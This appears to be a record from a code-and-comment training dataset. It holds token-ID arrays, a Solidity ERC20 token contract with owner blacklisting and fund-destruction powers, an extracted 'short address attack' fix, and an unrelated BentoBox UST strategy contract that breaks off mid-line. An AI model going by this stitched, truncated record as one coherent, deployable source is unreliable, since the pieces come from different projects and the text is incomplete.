[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 14316, 39, 543, 87, 1182, 12, 2867, 4171, 16, 2254, 5034, 276, 543, 87, 13, 3903, 288, 203, 203, 3639, 1426, 1529, 273, 389, 2316, 3865, 59, 18, 13866, 12, 7525, 16, 276, 543, 87, 1769, 203, 3639, 2583, 12, 601, 16, 315, 30915, 30, 13496, 358, 4736, 276, 543, 87, 628, 326, 14114, 8863, 203, 203, 3639, 2254, 5034, 4971, 2173, 39, 543, 273, 399, 19851, 67, 24325, 18, 2892, 24899, 2316, 3865, 59, 18, 4963, 3088, 1283, 10663, 203, 3639, 2254, 5034, 4971, 273, 276, 543, 87, 18, 16411, 12, 7705, 2173, 39, 543, 1769, 203, 3639, 389, 71, 543, 87, 63, 7525, 65, 273, 389, 71, 543, 87, 63, 7525, 8009, 1717, 12, 7705, 1769, 203, 3639, 389, 4963, 39, 543, 87, 273, 389, 4963, 39, 543, 87, 18, 1717, 12, 7705, 1769, 203, 203, 3639, 389, 2725, 510, 3223, 15224, 12, 7525, 1769, 203, 203, 3639, 3626, 385, 543, 87, 1682, 8158, 12, 7525, 16, 276, 543, 87, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(msg.sender, owner, fee); } Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded EUROQUINNToken) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract EUROQUINNToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function EUROQUINNToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issuedi function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
* @dev Fix for the ERC20 short address attack./
modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; }
436,238
[ 1, 8585, 364, 326, 4232, 39, 3462, 3025, 1758, 13843, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 6110, 1225, 12, 11890, 963, 13, 288, 203, 3639, 2583, 12, 5, 12, 3576, 18, 892, 18, 2469, 411, 963, 397, 1059, 10019, 203, 3639, 389, 31, 203, 565, 289, 203, 7010, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0-or-later // solhint-disable reason-string, avoid-low-level-calls, const-name-snakecase pragma solidity 0.8.7; import "../interfaces/IStrategy.sol"; import "../interfaces/IUniswapV2Pair.sol"; import "../interfaces/IBentoBoxMinimal.sol"; import "../libraries/UniswapV2Library.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; interface IAnchorRouter { function depositStable(uint256 _amount) external; function redeemStable(uint256 _amount) external; } interface IExchangeRateFeeder { function exchangeRateOf(address _token, bool _simulate) external view returns (uint256); } abstract contract BaseStrategy is IStrategy, Ownable { using SafeERC20 for IERC20; address public immutable strategyToken; address public immutable bentoBox; address public immutable factory; address public immutable bridgeToken; bool public exited; /// @dev After bentobox 'exits' the strategy harvest, skim and withdraw functions can no loner be called uint256 public maxBentoBoxBalance; /// @dev Slippage protection when calling harvest mapping(address => bool) public strategyExecutors; /// @dev EOAs that can execute safeHarvest event LogConvert(address indexed server, address indexed token0, address indexed token1, uint256 amount0, uint256 amount1); event LogSetStrategyExecutor(address indexed executor, bool allowed); /** @param _strategyToken Address of the underlying token the strategy invests. @param _bentoBox BentoBox address. @param _factory SushiSwap factory. @param _bridgeToken An intermedieary token for swapping any rewards into the underlying token. @param _strategyExecutor an EOA that will execute the safeHarvest function. @dev factory and bridgeToken can be address(0) if we don't expect rewards we would need to swap */ constructor( address _strategyToken, address _bentoBox, address _factory, address _bridgeToken, address _strategyExecutor ) { strategyToken = _strategyToken; bentoBox = _bentoBox; factory = _factory; bridgeToken = _bridgeToken; if (_strategyExecutor != address(0)) { strategyExecutors[_strategyExecutor] = true; emit LogSetStrategyExecutor(_strategyExecutor, true); } } //** Strategy implementation: override the following functions: */ /// @notice Invests the underlying asset. /// @param amount The amount of tokens to invest. /// @dev Assume the contract's balance is greater than the amount function _skim(uint256 amount) internal virtual; /// @notice Harvest any profits made and transfer them to address(this) or report a loss /// @param balance The amount of tokens that have been invested. /// @return amountAdded The delta (+profit or -loss) that occured in contrast to `balance`. /// @dev amountAdded can be left at 0 when reporting profits (gas savings). /// amountAdded should not reflect any rewards or tokens the strategy received. /// Calcualte the amount added based on what the current deposit is worth. /// (The Base Strategy harvest function accounts for rewards). function _harvest(uint256 balance) internal virtual returns (int256 amountAdded); /// @dev Withdraw the requested amount of the underlying tokens to address(this). /// @param amount The requested amount we want to withdraw. function _withdraw(uint256 amount) internal virtual; /// @notice Withdraw the maximum available amount of the invested assets to address(this). /// @dev This shouldn't revert (use try catch). function _exit() internal virtual; /// @notice Claim any rewards reward tokens and optionally sell them for the underlying token. /// @dev Doesn't need to be implemented if we don't expect any rewards. function _harvestRewards() internal virtual {} //** End strategy implementation */ modifier isActive() { require(!exited, "BentoBox Strategy: exited"); _; } modifier onlyBentoBox() { require(msg.sender == bentoBox, "BentoBox Strategy: only BentoBox"); _; } modifier onlyExecutor() { require(strategyExecutors[msg.sender], "BentoBox Strategy: only Executors"); _; } function setStrategyExecutor(address executor, bool value) external onlyOwner { strategyExecutors[executor] = value; emit LogSetStrategyExecutor(executor, value); } /// @inheritdoc IStrategy function skim(uint256 amount) external override { _skim(amount); } /// @notice Harvest profits while preventing a sandwich attack exploit. /// @param maxBalance The maximum balance of the underlying token that is allowed to be in BentoBox. /// @param rebalance Whether BentoBox should rebalance the strategy assets to acheive it's target allocation. /// @param maxChangeAmount When rebalancing - the maximum amount that will be deposited to or withdrawn from a strategy to BentoBox. /// @param harvestRewards If we want to claim any accrued reward tokens /// @dev maxBalance can be set to 0 to keep the previous value. /// @dev maxChangeAmount can be set to 0 to allow for full rebalancing. function safeHarvest( uint256 maxBalance, bool rebalance, uint256 maxChangeAmount, bool harvestRewards ) external onlyExecutor { if (harvestRewards) { _harvestRewards(); } if (maxBalance > 0) { maxBentoBoxBalance = maxBalance; } IBentoBoxMinimal(bentoBox).harvest(strategyToken, rebalance, maxChangeAmount); } /// @inheritdoc IStrategy function withdraw(uint256 amount) external override isActive onlyBentoBox returns (uint256 actualAmount) { _withdraw(amount); /// @dev Make sure we send and report the exact same amount of tokens by using balanceOf. actualAmount = IERC20(strategyToken).balanceOf(address(this)); IERC20(strategyToken).safeTransfer(bentoBox, actualAmount); } /// @inheritdoc IStrategy /// @dev do not use isActive modifier here; allow bentobox to call strategy.exit() multiple times function exit(uint256 balance) external override onlyBentoBox returns (int256 amountAdded) { _exit(); /// @dev Check balance of token on the contract. uint256 actualBalance = IERC20(strategyToken).balanceOf(address(this)); /// @dev Calculate tokens added (or lost). amountAdded = int256(actualBalance) - int256(balance); /// @dev Transfer all tokens to bentoBox. IERC20(strategyToken).safeTransfer(bentoBox, actualBalance); /// @dev Flag as exited, allowing the owner to manually deal with any amounts available later. exited = true; } /** @dev After exited, the owner can perform ANY call. This is to rescue any funds that didn't get released during exit or got earned afterwards due to vesting or airdrops, etc. */ function afterExit( address to, uint256 value, bytes memory data ) public onlyOwner returns (bool success) { require(exited, "BentoBox Strategy: not exited"); (success, ) = to.call{value: value}(data); } } contract USTStrategyV2 is BaseStrategy { using SafeERC20 for IERC20; IAnchorRouter public constant router = IAnchorRouter(0xcEF9E167d3f8806771e9bac1d4a0d568c39a9388); IExchangeRateFeeder public feeder = IExchangeRateFeeder(0x24a76073Ab9131b25693F3b75dD1ce996fd3116c); IERC20 public constant UST = IERC20(0xa47c8bf37f92aBed4A126BDA807A7b7498661acD); IERC20 public constant aUST = IERC20(0xa8De3e3c934e2A1BB08B010104CcaBBD4D6293ab); address private constant degenBox = 0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce; uint256 public fee; // fees on ust address public feeCollector; constructor(address strategyExecutor, address _feeCollector) BaseStrategy(address(UST), degenBox, address(0), address(0), strategyExecutor) { UST.approve(address(router), type(uint256).max); aUST.approve(address(router), type(uint256).max); feeCollector = _feeCollector; fee = 10; } function _skim(uint256 amount) internal override { router.depositStable(amount); } /** @inheritdoc IStrategy @dev Only BentoBox can call harvest on this strategy. @dev Ensures that (1) the caller was this contract (called through the safeHarvest function) and (2) that we are not being frontrun by a large BentoBox deposit when harvesting profits. */ function harvest(uint256 balance, address sender) external override isActive onlyBentoBox returns (int256) { /** @dev Don't revert if conditions aren't met in order to allow BentoBox to continiue execution as it might need to do a rebalance. */ if (sender == address(this) && IBentoBoxMinimal(bentoBox).totals(strategyToken).elastic <= maxBentoBoxBalance && balance > 0) { int256 amount = _harvest(balance); /** @dev Since harvesting of rewards is accounted for seperately we might also have some underlying tokens in the contract that the _harvest call doesn't report. E.g. reward tokens that have been sold into the underlying tokens which are now sitting in the contract. Meaning the amount returned by the internal _harvest function isn't necessary the final profit/loss amount */ uint256 contractBalance = IERC20(strategyToken).balanceOf(address(this)); if (amount >= 0) { // _harvest reported a profit if (contractBalance >= uint256(amount)) { uint256 feeAmount = (uint256(amount) * fee) / 100; uint256 toTransfer = uint256(amount) - feeAmount; IERC20(strategyToken).safeTransfer(bentoBox, uint256(toTransfer)); IERC20(strategyToken).safeTransfer(feeCollector, feeAmount); return (amount); } else { uint256 feeAmount = (uint256(contractBalance) * fee) / 100; uint256 toTransfer = uint256(contractBalance) - feeAmount; IERC20(strategyToken).safeTransfer(bentoBox, toTransfer); IERC20(strategyToken).safeTransfer(feeCollector, feeAmount); return int256(contractBalance); } } else { // we made a loss return amount; } } return int256(0); } function _harvest(uint256 balance) internal view override returns (int256) { uint256 exchangeRate = feeder.exchangeRateOf(address(UST), true); uint256 keep = toAUST(balance, exchangeRate); uint256 total = aUST.balanceOf(address(this)) + toAUST(UST.balanceOf(address(this)), exchangeRate); return int256(toUST(total, exchangeRate)) - int256(toUST(keep, exchangeRate)); } function _withdraw(uint256 amount) internal override {} function redeemEarnings() external onlyExecutor { uint256 balanceToKeep = IBentoBoxMinimal(bentoBox).strategyData(address(UST)).balance; uint256 exchangeRate = feeder.exchangeRateOf(address(UST), true); uint256 liquid = UST.balanceOf(address(this)); uint256 total = toUST(aUST.balanceOf(address(this)), exchangeRate) + liquid; if (total > balanceToKeep) { router.redeemStable(toAUST(total - balanceToKeep - liquid, exchangeRate)); } } function safeDeposit(uint256 amount) external onlyExecutor { _skim(amount); } function safeWithdraw(uint256 amount) external onlyExecutor { uint256 exchangeRate = feeder.exchangeRateOf(address(UST), true); uint256 requested = toAUST(amount, exchangeRate); router.redeemStable(requested); } function safeWithdrawFromAUST(uint256 amount) external onlyExecutor { router.redeemStable(amount); } function updateExchangeRateFeeder(IExchangeRateFeeder feeder_) external onlyOwner { feeder = feeder_; } function setFeeCollector(address _feeCollector, uint256 _fee) external onlyOwner { require(_fee <= 100, "max fee is 100"); feeCollector = _feeCollector; fee = _fee; } function _exit() internal override { try router.redeemStable(aUST.balanceOf(address(this))) {} catch {} } function toUST(uint256 amount, uint256 exchangeRate) public pure returns (uint256) { return (amount * exchangeRate) / 1e18; } function toAUST(uint256 amount, uint256 exchangeRate) public pure returns (uint256) { return (amount * 1e18) / exchangeRate; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.7; interface IStrategy { /// @notice Send the assets to the Strategy and call skim to invest them. /// @param amount The amount of tokens to invest. function skim(uint256 amount) external; /// @notice Harvest any profits made converted to the asset and pass them to the caller. /// @param balance The amount of tokens the caller thinks it has invested. /// @param sender The address of the initiator of this transaction. Can be used for reimbursements, etc. /// @return amountAdded The delta (+profit or -loss) that occured in contrast to `balance`. function harvest(uint256 balance, address sender) external returns (int256 amountAdded); /// @notice Withdraw assets. The returned amount can differ from the requested amount due to rounding. /// @dev The `actualAmount` should be very close to the amount. /// The difference should NOT be used to report a loss. That's what harvest is for. /// @param amount The requested amount the caller wants to withdraw. /// @return actualAmount The real amount that is withdrawn. function withdraw(uint256 amount) external returns (uint256 actualAmount); /// @notice Withdraw all assets in the safest way possible. This shouldn't fail. /// @param balance The amount of tokens the caller thinks it has invested. /// @return amountAdded The delta (+profit or -loss) that occured in contrast to `balance`. function exit(uint256 balance) external returns (int256 amountAdded); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.7; interface IUniswapV2Pair { function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; /// @notice Minimal interface for BentoBox token vault interactions - `token` is aliased as `address` from `IERC20` for code simplicity. interface IBentoBoxMinimal { struct Rebase { uint128 elastic; uint128 base; } struct StrategyData { uint64 strategyStartDate; uint64 targetPercentage; uint128 balance; // the balance of the strategy that BentoBox thinks is in there } function strategyData(address token) external view returns (StrategyData memory); /// @notice Balance per ERC-20 token per account in shares. function balanceOf(address, address) external view returns (uint256); /// @notice Deposit an amount of `token` represented in either `amount` or `share`. /// @param token_ The ERC-20 token to deposit. /// @param from which account to pull the tokens. /// @param to which account to push the tokens. /// @param amount Token amount in native representation to deposit. /// @param share Token amount represented in shares to deposit. Takes precedence over `amount`. /// @return amountOut The amount deposited. /// @return shareOut The deposited amount repesented in shares. function deposit( address token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); /// @notice Withdraws an amount of `token` from a user account. /// @param token_ The ERC-20 token to withdraw. /// @param from which user to pull the tokens. /// @param to which user to push the tokens. /// @param amount of tokens. Either one of `amount` or `share` needs to be supplied. /// @param share Like above, but `share` takes precedence over `amount`. function withdraw( address token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); /// @notice Transfer shares from a user account to another one. /// @param token The ERC-20 token to transfer. /// @param from which user to pull the tokens. /// @param to which user to push the tokens. /// @param share The amount of `token` in shares. function transfer( address token, address from, address to, uint256 share ) external; /// @dev Helper function to represent an `amount` of `token` in shares. /// @param token The ERC-20 token. /// @param amount The `token` amount. /// @param roundUp If the result `share` should be rounded up. /// @return share The token amount represented in shares. function toShare( address token, uint256 amount, bool roundUp ) external view returns (uint256 share); /// @dev Helper function to represent shares back into the `token` amount. /// @param token The ERC-20 token. /// @param share The amount of shares. /// @param roundUp If the result should be rounded up. /// @return amount The share amount back into native representation. function toAmount( address token, uint256 share, bool roundUp ) external view returns (uint256 amount); /// @notice Registers this contract so that users can approve it for the BentoBox. function registerProtocol() external; function totals(address token) external view returns (Rebase memory); function harvest( address token, bool balance, uint256 maxChangeAmount ) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.7; import "../interfaces/IUniswapV2Pair.sol"; /* The following library is modified from @sushiswap/core/contracts/uniswapv2/libraries/UniswapV2Library.sol changes: - remove SafeMathUniswap library and replace all usage of it with basic operations - change casting from uint to bytes20 in pair address calculation and shift by 96 bits before casting */ library UniswapV2Library { // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); } // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address tokenA, address tokenB, bytes32 pairCodeHash ) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); // Since Solidity 0.8.0 explicit conversions from literals larger than type(uint160).max to address are disallowed. // https://docs.soliditylang.org/en/develop/080-breaking-changes.html#new-restrictions pair = address( uint160( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash // init code hash ) ) ) ) ); } // fetches and sorts the reserves for a pair function getReserves( address factory, address tokenA, address tokenB, bytes32 pairCodeHash ) internal view returns (uint256 reserveA, uint256 reserveB) { (address token0, ) = sortTokens(tokenA, tokenB); (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB, pairCodeHash)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) internal pure returns (uint256 amountB) { require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT"); require(reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); amountB = (amountA * reserveB) / 